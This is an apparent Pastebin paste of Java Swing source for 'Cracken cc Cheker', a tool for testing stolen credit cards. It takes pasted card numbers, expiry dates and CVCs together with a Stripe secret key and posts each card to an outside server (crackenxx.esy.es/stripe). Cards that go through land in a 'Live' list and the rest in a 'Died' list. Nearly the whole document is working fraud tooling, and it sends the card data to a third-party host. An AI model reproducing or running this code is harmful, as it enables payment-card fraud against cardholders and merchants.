Advertisement
Guest User

By PxN

a guest
Jan 16th, 2017
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 15.10 KB | None | 0 0
  1. package cracken.cheker;
  2.  
  3. import java.applet.Applet;
  4. import java.applet.AudioClip;
  5. import java.awt.Color;
  6. import java.awt.Component;
  7. import java.awt.Container;
  8. import java.awt.EventQueue;
  9. import java.awt.Font;
  10. import java.awt.Graphics;
  11. import java.awt.Image;
  12. import java.awt.LayoutManager;
  13. import java.awt.event.ActionEvent;
  14. import java.awt.event.ActionListener;
  15. import java.awt.event.KeyAdapter;
  16. import java.awt.event.KeyEvent;
  17. import java.awt.event.KeyListener;
  18. import java.awt.event.MouseAdapter;
  19. import java.awt.event.MouseEvent;
  20. import java.awt.event.MouseListener;
  21. import java.awt.image.ImageObserver;
  22. import java.io.BufferedReader;
  23. import java.io.IOException;
  24. import java.io.InputStream;
  25. import java.io.InputStreamReader;
  26. import java.io.OutputStream;
  27. import java.io.PrintStream;
  28. import java.io.Reader;
  29. import java.net.MalformedURLException;
  30. import java.net.URL;
  31. import java.net.URLConnection;
  32. import java.util.StringTokenizer;
  33. import java.util.logging.Level;
  34. import java.util.logging.Logger;
  35. import javax.swing.BorderFactory;
  36. import javax.swing.Icon;
  37. import javax.swing.ImageIcon;
  38. import javax.swing.JButton;
  39. import javax.swing.JFrame;
  40. import javax.swing.JLabel;
  41. import javax.swing.JOptionPane;
  42. import javax.swing.JScrollPane;
  43. import javax.swing.JTextArea;
  44. import javax.swing.JTextField;
  45. import javax.swing.UIManager;
  46. import javax.swing.UnsupportedLookAndFeelException;
  47. import javax.swing.border.Border;
  48.  
  49. public class Cracken_Cc
  50. extends JFrame {
  51.     boolean boton = true;
  52.     private JButton jButton2;
  53.     private JButton jButton3;
  54.     private JButton jButton4;
  55.     private JLabel jLabel1;
  56.     private JLabel jLabel11;
  57.     private JLabel jLabel2;
  58.     private JLabel jLabel3;
  59.     private JLabel jLabel4;
  60.     private JLabel jLabel5;
  61.     private JLabel jLabel6;
  62.     private JLabel jLabel7;
  63.     private JLabel jLabel9;
  64.     private JScrollPane jScrollPane2;
  65.     private JScrollPane jScrollPane3;
  66.     private JScrollPane jScrollPane4;
  67.     private JLabel lblEstado;
  68.     private JTextArea txtCC;
  69.     private JTextArea txtDied;
  70.     private JButton txtIniciar;
  71.     private JTextArea txtLive;
  72.     private JTextField txtlsk;
  73.     private JTextField txtmount;
  74.  
  75.     public Cracken_Cc() {
  76.         this.initComponents();
  77.         this.setResizable(false);
  78.         this.setSize(647, 530);
  79.         this.setLocationRelativeTo(null);
  80.         this.txtDied.setEditable(false);
  81.         this.txtLive.setEditable(false);
  82.     }
  83.  
  84.     private void initComponents() {
  85.         this.txtIniciar = new JButton();
  86.         this.txtmount = new JTextField();
  87.         this.jLabel1 = new JLabel();
  88.         this.jScrollPane2 = new JScrollPane();
  89.         this.txtLive = new JTextArea();
  90.         this.jLabel2 = new JLabel();
  91.         this.jLabel3 = new JLabel();
  92.         this.jScrollPane3 = new JScrollPane();
  93.         this.txtDied = new JTextArea();
  94.         this.jLabel4 = new JLabel();
  95.         this.jScrollPane4 = new JScrollPane();
  96.         this.txtCC = new JTextArea();
  97.         this.txtlsk = new JTextField();
  98.         this.jLabel5 = new JLabel();
  99.         this.jLabel6 = new JLabel();
  100.         this.jLabel7 = new JLabel();
  101.         this.lblEstado = new JLabel();
  102.         this.jLabel9 = new JLabel();
  103.         this.jButton2 = new JButton();
  104.         this.jButton3 = new JButton();
  105.         this.jLabel11 = new JLabel();
  106.         this.jButton4 = new JButton();
  107.         this.setDefaultCloseOperation(3);
  108.         this.setTitle("Cracken cc Cheker");
  109.         this.getContentPane().setLayout(null);
  110.         this.txtIniciar.setText("Iniciar");
  111.         this.txtIniciar.addActionListener(new ActionListener(){
  112.  
  113.             @Override
  114.             public void actionPerformed(ActionEvent evt) {
  115.                 Cracken_Cc.this.txtIniciarActionPerformed(evt);
  116.             }
  117.         });
  118.         this.getContentPane().add(this.txtIniciar);
  119.         this.txtIniciar.setBounds(490, 450, 120, 30);
  120.         this.txtmount.setText("1");
  121.         this.getContentPane().add(this.txtmount);
  122.         this.txtmount.setBounds(360, 420, 36, 30);
  123.         this.jLabel1.setForeground(new Color(51, 0, 255));
  124.         this.jLabel1.setText("LSk");
  125.         this.getContentPane().add(this.jLabel1);
  126.         this.jLabel1.setBounds(270, 60, 30, 14);
  127.         this.txtLive.setColumns(20);
  128.         this.txtLive.setForeground(new Color(51, 204, 0));
  129.         this.txtLive.setRows(5);
  130.         this.jScrollPane2.setViewportView(this.txtLive);
  131.         this.getContentPane().add(this.jScrollPane2);
  132.         this.jScrollPane2.setBounds(260, 290, 350, 120);
  133.         this.jLabel2.setFont(new Font("Tempus Sans ITC", 3, 14));
  134.         this.jLabel2.setForeground(new Color(255, 0, 0));
  135.         this.jLabel2.setText("Died");
  136.         this.getContentPane().add(this.jLabel2);
  137.         this.jLabel2.setBounds(270, 110, 30, 20);
  138.         this.jLabel3.setFont(new Font("Tempus Sans ITC", 0, 18));
  139.         this.jLabel3.setForeground(new Color(0, 204, 0));
  140.         this.jLabel3.setText("Live");
  141.         this.getContentPane().add(this.jLabel3);
  142.         this.jLabel3.setBounds(270, 270, 40, 20);
  143.         this.txtDied.setColumns(20);
  144.         this.txtDied.setForeground(new Color(204, 0, 0));
  145.         this.txtDied.setRows(5);
  146.         this.jScrollPane3.setViewportView(this.txtDied);
  147.         this.getContentPane().add(this.jScrollPane3);
  148.         this.jScrollPane3.setBounds(260, 130, 350, 120);
  149.         this.jLabel4.setFont(new Font("Tahoma", 1, 18));
  150.         this.jLabel4.setText("Credit Card");
  151.         this.getContentPane().add(this.jLabel4);
  152.         this.jLabel4.setBounds(40, 50, 110, 22);
  153.         this.txtCC.setColumns(20);
  154.         this.txtCC.setRows(5);
  155.         this.txtCC.addMouseListener(new MouseAdapter(){
  156.  
  157.             @Override
  158.             public void mouseClicked(MouseEvent evt) {
  159.                 Cracken_Cc.this.txtCCMouseClicked(evt);
  160.             }
  161.  
  162.             @Override
  163.             public void mousePressed(MouseEvent evt) {
  164.                 Cracken_Cc.this.txtCCMousePressed(evt);
  165.             }
  166.         });
  167.         this.txtCC.addKeyListener(new KeyAdapter(){
  168.  
  169.             @Override
  170.             public void keyTyped(KeyEvent evt) {
  171.                 Cracken_Cc.this.txtCCKeyTyped(evt);
  172.             }
  173.         });
  174.         this.jScrollPane4.setViewportView(this.txtCC);
  175.         this.getContentPane().add(this.jScrollPane4);
  176.         this.jScrollPane4.setBounds(10, 80, 230, 379);
  177.         this.getContentPane().add(this.txtlsk);
  178.         this.txtlsk.setBounds(260, 80, 350, 30);
  179.         this.jLabel5.setFont(new Font("Tahoma", 1, 18));
  180.         this.jLabel5.setText("Cantidad ");
  181.         this.getContentPane().add(this.jLabel5);
  182.         this.jLabel5.setBounds(260, 420, 85, 22);
  183.         this.jLabel6.setFont(new Font("Tahoma", 1, 18));
  184.         this.jLabel6.setText("USD");
  185.         this.getContentPane().add(this.jLabel6);
  186.         this.jLabel6.setBounds(420, 420, 40, 22);
  187.         this.jLabel7.setFont(new Font("Tahoma", 1, 18));
  188.         this.jLabel7.setText("Estado : ");
  189.         this.getContentPane().add(this.jLabel7);
  190.         this.jLabel7.setBounds(40, 460, 80, 22);
  191.         this.lblEstado.setFont(new Font("Tahoma", 1, 18));
  192.         this.lblEstado.setText("en pausa...");
  193.         this.getContentPane().add(this.lblEstado);
  194.         this.lblEstado.setBounds(210, 460, 190, 20);
  195.         this.jLabel9.setFont(new Font("Tahoma", 2, 24));
  196.         this.jLabel9.setForeground(new Color(255, 255, 255));
  197.         this.jLabel9.setText("                      Cracken CC cheker");
  198.         this.jLabel9.setBorder(BorderFactory.createEtchedBorder());
  199.         this.getContentPane().add(this.jLabel9);
  200.         this.jLabel9.setBounds(30, 10, 560, 34);
  201.         this.jButton2.setText("X");
  202.         this.jButton2.addActionListener(new ActionListener(){
  203.  
  204.             @Override
  205.             public void actionPerformed(ActionEvent evt) {
  206.                 Cracken_Cc.this.jButton2ActionPerformed(evt);
  207.             }
  208.         });
  209.         this.getContentPane().add(this.jButton2);
  210.         this.jButton2.setBounds(550, 110, 39, 16);
  211.         this.jButton3.setText("X");
  212.         this.jButton3.addActionListener(new ActionListener(){
  213.  
  214.             @Override
  215.             public void actionPerformed(ActionEvent evt) {
  216.                 Cracken_Cc.this.jButton3ActionPerformed(evt);
  217.             }
  218.         });
  219.         this.getContentPane().add(this.jButton3);
  220.         this.jButton3.setBounds(550, 270, 39, 16);
  221.         this.jLabel11.setIcon(new ImageIcon(this.getClass().getResource("/cracken/cheker/cracken cc.jpg")));
  222.         this.getContentPane().add(this.jLabel11);
  223.         this.jLabel11.setBounds(0, 0, 640, 500);
  224.         this.jButton4.setText("X");
  225.         this.jButton4.addActionListener(new ActionListener(){
  226.  
  227.             @Override
  228.             public void actionPerformed(ActionEvent evt) {
  229.                 Cracken_Cc.this.jButton4ActionPerformed(evt);
  230.             }
  231.         });
  232.         this.getContentPane().add(this.jButton4);
  233.         this.jButton4.setBounds(200, 60, 39, 16);
  234.         this.pack();
  235.     }
  236.  
  237.     public void boton() {
  238.         if (this.boton) {
  239.             this.txtIniciar.setText(" Parar");
  240.             this.boton = false;
  241.         } else {
  242.             this.txtIniciar.setText("Iniciar");
  243.             this.boton = true;
  244.         }
  245.     }
  246.  
  247.     public void POST(String Line) throws Exception {
  248.         try {
  249.             URL url = new URL("http://crackenxx.esy.es/stripe/");
  250.             URLConnection con = url.openConnection();
  251.             con.setDoOutput(true);
  252.             PrintStream ps = new PrintStream(con.getOutputStream());
  253.             int i = 0;
  254.             String[] datos = new String[4];
  255.             String contenidoTexto = new String(Line);
  256.             StringTokenizer st = new StringTokenizer(contenidoTexto, "|");
  257.             while (st.hasMoreTokens()) {
  258.                 String line;
  259.                 datos[i] = line = st.nextToken();
  260.                 ++i;
  261.             }
  262.             ps.print("lsk=" + this.txtlsk.getText());
  263.             ps.print("&cc=" + datos[0]);
  264.             ps.print("&mes=" + datos[1]);
  265.             ps.print("&anio=" + datos[2]);
  266.             ps.print("&cvc=" + datos[3]);
  267.             ps.print("&mount=" + this.txtmount.getText());
  268.             con.getInputStream();
  269.             BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
  270.             String line = null;
  271.             while ((line = in.readLine()) != null) {
  272.                 if (line.endsWith("Error ")) {
  273.                     JOptionPane.showMessageDialog(null, "Es nesesario una lsk");
  274.                     this.boton = true;
  275.                     this.txtIniciar.setText("Iniciar");
  276.                     continue;
  277.                 }
  278.                 if (line.endsWith("Live ")) {
  279.                     this.moneda();
  280.                     this.lblEstado.setText("Live");
  281.                     this.txtLive.append("Cracken chk " + datos[0] + "|" + datos[1] + "|" + datos[2] + "|" + datos[3] + "  $" + this.txtmount.getText() + " USD\n");
  282.                     continue;
  283.                 }
  284.                 if (!line.endsWith("declined ")) continue;
  285.                 this.lblEstado.setText("Died");
  286.                 this.txtDied.append("Cracken chk " + datos[0] + "|" + datos[1] + "|" + datos[2] + "|" + datos[3] + "  $" + this.txtmount.getText() + " USD\n");
  287.             }
  288.             ps.close();
  289.         }
  290.         catch (MalformedURLException e) {
  291.             System.out.println("error 1");
  292.             e.printStackTrace();
  293.         }
  294.         catch (IOException e) {
  295.             JOptionPane.showMessageDialog(null, "No se conecto con el servidor");
  296.             this.boton = true;
  297.             this.txtIniciar.setText("Iniciar");
  298.         }
  299.     }
  300.  
  301.     public void cuerpo() {
  302.     }
  303.  
  304.     private void txtIniciarActionPerformed(ActionEvent evt) {
  305.         hilo h = new hilo();
  306.         h.start();
  307.         this.txtIniciar.setText("Iniciar");
  308.     }
  309.  
  310.     public void moneda() {
  311.         AudioClip sonido = Applet.newAudioClip(this.getClass().getResource("/cracken/cheker/moneda.wav"));
  312.         sonido.play();
  313.     }
  314.  
  315.     private void txtCCMouseClicked(MouseEvent evt) {
  316.     }
  317.  
  318.     private void txtCCMousePressed(MouseEvent evt) {
  319.     }
  320.  
  321.     private void txtCCKeyTyped(KeyEvent evt) {
  322.     }
  323.  
  324.     private void jButton2ActionPerformed(ActionEvent evt) {
  325.         this.txtDied.setText("");
  326.     }
  327.  
  328.     private void jButton3ActionPerformed(ActionEvent evt) {
  329.         this.txtLive.setText("");
  330.     }
  331.  
  332.     private void jButton4ActionPerformed(ActionEvent evt) {
  333.     }
  334.  
  335.     @Override
  336.     public void update(Graphics g) {
  337.         Image img = this.createImage(this.getWidth(), this.getHeight());
  338.         Graphics gph = img.getGraphics();
  339.         this.paint(gph);
  340.         g.drawImage(img, 0, 0, this);
  341.     }
  342.  
  343.     public static void main(String[] args) {
  344.         try {
  345.             for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) {
  346.                 if (!"Nimbus".equals(info.getName())) continue;
  347.                 UIManager.setLookAndFeel(info.getClassName());
  348.                 break;
  349.             }
  350.         }
  351.         catch (ClassNotFoundException ex) {
  352.             Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
  353.         }
  354.         catch (InstantiationException ex) {
  355.             Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
  356.         }
  357.         catch (IllegalAccessException ex) {
  358.             Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
  359.         }
  360.         catch (UnsupportedLookAndFeelException ex) {
  361.             Logger.getLogger(Cracken_Cc.class.getName()).log(Level.SEVERE, null, ex);
  362.         }
  363.         EventQueue.invokeLater(new Runnable(){
  364.  
  365.             @Override
  366.             public void run() {
  367.                 new Cracken_Cc().setVisible(true);
  368.             }
  369.         });
  370.     }
  371.  
  372.     public class hilo
  373.     extends Thread {
  374.         @Override
  375.         public void run() {
  376.             try {
  377.                 Cracken_Cc.this.boton();
  378.                 while (!Cracken_Cc.this.boton) {
  379.                     boolean primero = true;
  380.                     boolean pause = true;
  381.                     String aux = new String();
  382.                     String contenidoTexto = new String(Cracken_Cc.this.txtCC.getText());
  383.                     StringTokenizer st = new StringTokenizer(contenidoTexto, "\n");
  384.                     Cracken_Cc.this.txtCC.setText("");
  385.                     while (st.hasMoreTokens()) {
  386.                         pause = false;
  387.                         String line = st.nextToken();
  388.                         if (primero) {
  389.                             primero = false;
  390.                             Cracken_Cc.this.POST(line);
  391.                             aux = line;
  392.                         }
  393.                         if (aux == line) continue;
  394.                         Cracken_Cc.this.txtCC.append(line + "\n");
  395.                     }
  396.                     if (!pause) continue;
  397.                     Cracken_Cc.this.txtIniciar.setText("Iniciar");
  398.                     Cracken_Cc.this.lblEstado.setText("en pausa...");
  399.                     Cracken_Cc.this.boton = true;
  400.                 }
  401.             }
  402.             catch (Exception primero) {
  403.                 // empty catch block
  404.             }
  405.         }
  406.     }
  407.  
  408. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement